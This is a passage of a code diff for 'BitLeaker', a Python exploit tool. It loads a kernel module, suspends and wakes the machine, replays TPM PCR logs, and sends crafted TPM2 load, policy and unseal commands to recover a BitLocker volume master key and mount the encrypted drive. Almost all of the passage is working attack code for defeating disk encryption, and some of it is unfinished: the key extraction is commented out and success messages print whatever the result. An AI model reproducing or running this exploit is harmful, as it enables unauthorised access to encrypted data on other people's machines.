Concious...\n') - sleep(1) - return 1 + if self.module_loaded == False: + subprocess.call(['rtcwake','--mode','mem','-s','30'], stdout=self.FNULL, stderr=self.FNULL) + self.info_print(' [<<] Concious...\n') + sleep(1) + subprocess.call(['tpm2_hierarchycontrol','-C','p','shEnable', 'set'], stdout=self.FNULL, stderr=self.FNULL) + subprocess.call(['tpm2_hierarchycontrol','-C','p','ehEnable', 'set'], stdout=self.FNULL, stderr=self.FNULL) + else: + self.info_print(' [<<<] Module STILL LOADED! \n') + return False + return True else: self.color_print('BitLeaker module is not loaded.', Color.FAIL) - return 0 + return False # # Collect the system logs containing the PCRs @@ -274,6 +280,7 @@ def leak(self,filename=''): self.color_print(" [>>>] Bitleaker module not loaded. Fix this! [<<<]\n",Color.RED) def start_tpm(self): + tpm_device="device:/dev/tpm0" self.info_print("Restarting TPM...") subprocess.check_call(['sudo','TPMTOOLS2_TCTI="{0}"'.format(tpm_device),'tpm2_startup','-c']) self.info_print(" [>>] Waiting for you to run selftest") @@ -284,13 +291,12 @@ def start_tpm(self): def manage_kernel_module(self, mode="start"): if mode == "start" and not self.module_loaded: try: - #subprocess.getoutput('sudo modprobe bitleaker-kernel-module') output = subprocess.check_output(['lsmod']) if b'leak' in output: self.module_loaded = True self.color_print('BitLeaker Module LOADED.\n', Color.SUCCESS) else: - subprocess.check_call(['sudo','insmod','./bitleaker-kernel-module/bitleaker-kernel-module.ko']) + subprocess.check_call(['insmod','./bitleaker-kernel-module/bitleaker-kernel-module.ko']) self.color_print('BitLeaker Module LOADED.\n', Color.SUCCESS) self.module_loaded = True except subprocess.CalledProcessError as e: @@ -299,7 +305,8 @@ def manage_kernel_module(self, mode="start"): else: return False if mode == "stop" and self.module_loaded: try: - subprocess.check_call(['sudo','rmmod','bitleaker-kernel-module']) + subprocess.check_call(['rmmod','bitleaker-kernel-module']) + self.color_print('BitLeaker Module UNLOADED.\n', Color.SUCCESS) self.module_loaded = False except subprocess.CalledProcessError as e: self.color_print('Stop FAILED\n',Color.FAIL) @@ -384,19 +391,15 @@ def stop_rsrc_mgr(self): def tpm_extendpcr(self,pcr,hash): local_pcr = pcr.replace(' ','') if self._type == 'SHA256': - #output = subprocess.check_output('%s tpm2-tools/src/tpm2_extendpcrs -g 0x0b -P %s -i %s' % (tpm_library_path, pcr, hash), shell=True, encoding='UTF-8') output = subprocess.check_output('tpm2_pcrextend %s:sha256=%s' % (local_pcr, hash), shell=True, encoding='UTF-8') else: - #output = subprocess.check_output('%s tpm2-tools/src/tpm2_extendpcrs -g 0x04 -P %s -i %s' % (tpm_library_path, pcr, hash), shell=True, encoding='UTF-8') output = subprocess.check_output('tpm2_pcrextend %s:sha1=%s' % (local_pcr, hash), shell=True, encoding='UTF-8') return output def tpm_listpcrs(self): if self._type == 'SHA256': - #output = subprocess.check_output('%s tpm2-tools/src/tpm2_listpcrs -g 0x0b' % (tpm_library_path), shell=True, encoding='UTF-8') output = subprocess.check_output('tpm2_pcrread sha256', shell=True, encoding='UTF-8') else: - #output = subprocess.check_output('%s tpm2-tools/src/tpm2_listpcrs -g 0x04' % (tpm_library_path), shell=True, encoding='UTF-8') output = subprocess.check_output('tpm2_pcrread sha1', shell=True, encoding='UTF-8') return output @@ -406,8 +409,6 @@ def tpm_listpcrs(self): def replay_logs(self): self.info_print('Replay TPM data.\n') - #self.start_rsrc_mgr() - output = self.tpm_listpcrs() print(output + '\n') for pcr_data in self.logs: @@ -424,15 +425,11 @@ def replay_logs(self): output = self.tpm_listpcrs() print(output + '\n') - #self.stop_rsrc_mgr() - # # Extract private/public data and PCR policy # - def extract_priv_pub_and_pcr_policy_from_raw_blob(self, raw_tpm_blob): - #print("RAW TPM BLOB: ",end='') - #print(raw_tpm_blob) - if self.hash_type == HashTypes.SHA1.value: + def extract_priv_pub_and_pcr_policy_from_raw_blob(self,raw_tpm_blob): + if self._type == HashTypes.SHA1.value: hash_length = 20 else: hash_length = 32 @@ -446,16 +443,30 @@ def extract_priv_pub_and_pcr_policy_from_raw_blob(self, raw_tpm_blob): hex_data = hex_data[:] - print("hex_data:",end="") + print("hex_data({0},{1}{2}:".format(hash_length,len(hex_data),hash_length+2),end="") print(hex_data) priv_pub = [int(hex_data[i], 16) for i in range(0, len(hex_data)-(hash_length+6))] - pcr_policy = [int(hex_data[i], 16) for i in range(len(hex_data)-(hash_length+7), len(hex_data))] + pcr_policy = [int(hex_data[i], 16) for i in range(len(hex_data)-(hash_length+6), len(hex_data))] return(priv_pub, pcr_policy) # # Prepare TPM data for unsealing VMK of BitLocker # def prepare_tpm_data(self, drive_path): + if self._type == HashTypes.SHA1.value: + load_header = data_tpm2_load1_header + start_session = data_tpm2_startsession1 + policy_authorize = data_tpm2_policyauthorize + pcrpolicy_hdr = data_tpm2_pcrpolicy_header1 + pcrpolicy_subhdr = data_tpm2_pcrpolicy_subheader1 + unseal_hdr = data_tpm2_unseal + else: + load_header = data_tpm2_load256_header + start_session = data_tpm2_startsession256 + policy_authorize = data_tpm2_policyauthorize + pcrpolicy_hdr = data_tpm2_pcrpolicy_header1 + pcrpolicy_subhdr = data_tpm2_pcrpolicy_subheader256 + unseal_hdr = data_tpm2_unseal self.info_print('Preparing TPM data.\n') self.info_print(' [>>] Get TPM-encoded blob from dislocker... ') raw_data_list = get_raw_tpm_encoded_blob_from_dislocker(drive_path) @@ -471,111 +482,102 @@ def prepare_tpm_data(self, drive_path): self.info_print(' [>>] hex_priv:\n%s,%d\n' % (hex_priv_pub, len(hex_priv_pub))) self.info_print(' [>>] pcr_policy:\n%s,%d\n' % (pcr_policy, len(pcr_policy))) - # Prepare TPM1_Load data - self.info_print(' [>>] Create TPM1_Load data... ') - data = data_tpm1_load_header + hex_priv_pub - file = open('tpm1_load.bin', 'wb') + # Prepare TPM2_Load data + self.info_print(' [>>] Create TPM2_Load data... ') + data = load_header + hex_priv_pub + file = open('tpm2_load.bin', 'wb') file.write(bytearray(data)) file.close() self.color_print('Success\n', Color.SUCCESS) - # Prepare TPM1_StartSession data - self.info_print(' [>>] Create TPM1_StartSession data... ') - data = data_tpm1_startsession - file = open('tpm1_startsession.bin', 'wb') + # Prepare TPM2_StartSession data + self.info_print(' [>>] Create TPM2_StartSession data... ') + data = start_session + file = open('tpm2_startsession.bin', 'wb') file.write(bytearray(data)) file.close() self.color_print('Success\n', Color.SUCCESS) - # Prepare TPM1_PolicyAuthorize data - self.info_print(' [>>] Create TPM1_PolicyAuthorize data... ') - data = data_tpm1_policyauthorize - file = open('tpm1_policyauthorize.bin', 'wb') + # Prepare TPM2_PolicyAuthorize data + self.info_print(' [>>] Create TPM2_PolicyAuthorize data... ') + data = policy_authorize + file = open('tpm2_policyauthorize.bin', 'wb') file.write(bytearray(data)) file.close() self.color_print('Success\n', Color.SUCCESS) - # Prepare TPM1_PCRPolicy data - self.info_print(' [>>] Create TPM1_PolicyPCR data... ') - data1 = data_tpm1_pcrpolicy_header + pcr_policy[:len(pcr_policy) - 4] - data2 = data_tpm1_pcrpolicy_subheader + pcr_policy[len(pcr_policy) - 4:] - file = open('tpm1_policypcr.bin', 'wb') + # Prepare TPM2_PCRPolicy data + self.info_print(' [>>] Create TPM2_PolicyPCR data... ') + data1 = pcrpolicy_hdr + pcr_policy[:len(pcr_policy) - 4] + data2 = pcrpolicy_subhdr + pcr_policy[len(pcr_policy) - 4:] + file = open('tpm2_policypcr.bin', 'wb') file.write(bytearray(data1)) file.write(bytearray(data2)) file.close() self.color_print('Success\n', Color.SUCCESS) - # Prepare TPM1_Unseal data - self.info_print(' [>>] Create TPM1_Unseal data... ') - data = data_tpm1_unseal - file = open('tpm1_unseal.bin', 'wb') + # Prepare TPM2_Unseal data + self.info_print(' [>>] Create TPM2_Unseal data... ') + data = unseal_hdr + file = open('tpm2_unseal.bin', 'wb') file.write(bytearray(data)) file.close() self.color_print('Success\n\n', Color.SUCCESS) # - # Execute TPM1 command data for unsealing VMK + # Execute TPM2 command data for unsealing VMK # def execute_tpm_cmd_and_extract_vmk(self): self.info_print('Execute TPM commands\n') - # Execute TPM1_Load command - self.info_print(' [>>] Execute TPM1_Load... ') - output = subprocess.check_output('sudo tpm2_send < tpm1_load.bin',shell=True,encoding='UTF-8') - #output = subprocess.getoutput('sudo %s ./tpm2-tools/src/tpm2_loadexternal -H n -u pubkey.bin -r privkey.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - self.color_print(' [>>] Fail\n\n', Color.FAIL) - sys.exit(-1) - self.color_print(' [>>] Success\n\n', Color.SUCCESS) + # Execute TPM2_Load command + self.info_print(' [>>] Execute TPM2_Load... ') + f = open('tpm2_load.bin','rb') + p = subprocess.Popen(['tpm2_send','-o','load-out.bin'],env=my_env,stdout=subprocess.PIPE,stdin=f) + output, err = p.communicate() + #output = subprocess.check_call(['tpm2_send','-o','load-out.bin'],encoding='UTF-8',stdin=f) + self.color_print(' [>>] Success\n', Color.SUCCESS) + f.close() sleep(2) - # Execute TPM1_StartSession command - self.info_print(' [>>] Execute TPM1_StartSession... ') - output = subprocess.check_output('sudo tpm2_send < tpm1_startsession.bin',shell=True,encoding='UTF-8') - #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_startsession.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - self.color_print(' [>>] Fail\n\n', Color.FAIL) - sys.exit(-1) - self.color_print(' [>>] Success\n\n', Color.SUCCESS) + # Execute TPM2_StartSession command + self.info_print(' [>>] Execute TPM2_StartSession... ') + f = open('tpm2_startsession.bin','rb') + p = subprocess.Popen(['tpm2_send','-o','startsession-out.bin'],env=my_env,stdout=subprocess.PIPE,stdin=f) + output, err = p.communicate() + self.color_print(' [>>] Success\n', Color.SUCCESS) + f.close() sleep(2) - # Execute TPM1_PolicyAuthorize command - self.info_print(' [>>] Execute TPM1_PolicyAuthorize... ') - output = subprocess.check_output('sudo tpm2_send < tpm1_policyauthorize.bin',shell=True,encoding='UTF-8') - #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_policyauthorize.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - self.color_print(' [>>] Fail\n\n', Color.FAIL) - sys.exit(-1) - self.color_print(' [>>] Success\n\n', Color.SUCCESS) + # Execute TPM2_PolicyAuthorize command + self.info_print(' [>>] Execute TPM2_PolicyAuthorize... ') + f = open('tpm2_policyauthorize.bin','rb') + p = subprocess.Popen(['tpm2_send','-o','policyauth-out.bin'],env=my_env,stdout=subprocess.PIPE,stdin=f) + output, err = p.communicate() + self.color_print(' [>>] Success\n', Color.SUCCESS) + f.close() sleep(2) - # Execute TPM1_PolicyPCR command - self.info_print(' [>>] Execute TPM1_PolicyPCR... ') - output = subprocess.check_output('sudo tpm2_send < tpm1_policypcr.bin',shell=True,encoding='UTF-8') - #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_policypcr.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - self.color_print(' [>>] Fail\n\n', Color.FAIL) - sys.exit(-1) - self.color_print(' [>>] Success\n\n', Color.SUCCESS) + # Execute TPM2_PolicyPCR command + self.info_print(' [>>] Execute TPM2_PolicyPCR... ') + f = open('tpm2_policypcr.bin','rb') + p = subprocess.Popen(['tpm2_send','-o','policypcr-out.bin'],env=my_env,stdout=subprocess.PIPE,stdin=f) + output, err = p.communicate() + self.color_print(' [>>] Success\n', Color.SUCCESS) + f.close() sleep(2) - # Execute TPM1_Unseal command - self.info_print(' [>>] Execute TPM1_Unseal... ') - output = subprocess.check_output('sudo tpm2_send < tpm1_unseal.bin',shell=True,encoding='UTF-8') - #output = subprocess.getoutput('sudo %s ./TPM2.0-TSS/test/tpmtcticlient/tpmtcticlient -i tpm1_unseal.bin' % tpm_library_path) - print(output) - if 'Fail' in output: - self.color_print(' [>>] Fail\n\n', Color.FAIL) - sys.exit(-1) - self.color_print(' [>>] Success\n\n', Color.SUCCESS) + # Execute TPM2_Unseal command + self.info_print(' [>>] Execute TPM2_Unseal... ') + f = open('tpm2_unseal.bin','rb') + p = subprocess.Popen(['tpm2_send','-o','unseal-out.bin'],env=my_env,stdout=subprocess.PIPE,stdin=f) + output, err = p.communicate() + self.color_print(' [>>] Success\n', Color.SUCCESS) + f.close() sleep(2) # Extract VMK from TPM result - vmk_data = extract_vmk_from_tpm_result(output.split('\n')) - return vmk_data + #vmk_data = extract_vmk_from_tpm_result(output.split('\n')) + #return vmk_data # # Extract TPM encoded blob from Dislocker tool @@ -628,7 +630,7 @@ def get_raw_tpm_encoded_blob_from_dislocker(drive_path): # def extract_vmk_from_tpm_result(tpm_output): """ - [>>] Execute TPM1_Unseal... Input file tpm1_unseal.bin + [>>] Execute TPM2_Unseal... Input file tpm2_unseal.bin Initializing Local Device TCTI Interface [>>] Input Size 27 00000000 80 02 00 00 00 1b 00 00 01 5e 80 00 00 01 00 00 |.........^......| @@ -695,6 +697,13 @@ def mount_bitlocker_partition_with_vmk(drive_path, vmk_data): # Main # if __name__ == '__main__': + my_env = dict(os.environ, TPM2TOOLS_TCTI="device:/dev/tpm0") + echo_arg = my_env['TPM2TOOLS_TCTI'] + p = subprocess.Popen(['echo',echo_arg],env=my_env,stdout=subprocess.PIPE) + output, err = p.communicate() + print("Will be using TPM2TOOlS_CTCI={0}".format(output)) + print("If this is not okay, press CTRL-C, otherwise press [Enter]...") + input('') exploit = BitLeaker() exploit.find_bitlocker_parition() # @@ -711,7 +720,7 @@ def mount_bitlocker_partition_with_vmk(drive_path, vmk_data): # Prepare TPM data and extract VMK ##f = open(filename,'wb') tpm.prepare_tpm_data(exploit.bitlocker_path()) - #vmk_data = tpm.execute_tpm_cmd_and_extract_vmk() + vmk_data = tpm.execute_tpm_cmd_and_extract_vmk() ##f.write(hexlify(bytearray(vmk_data))) ##f.close()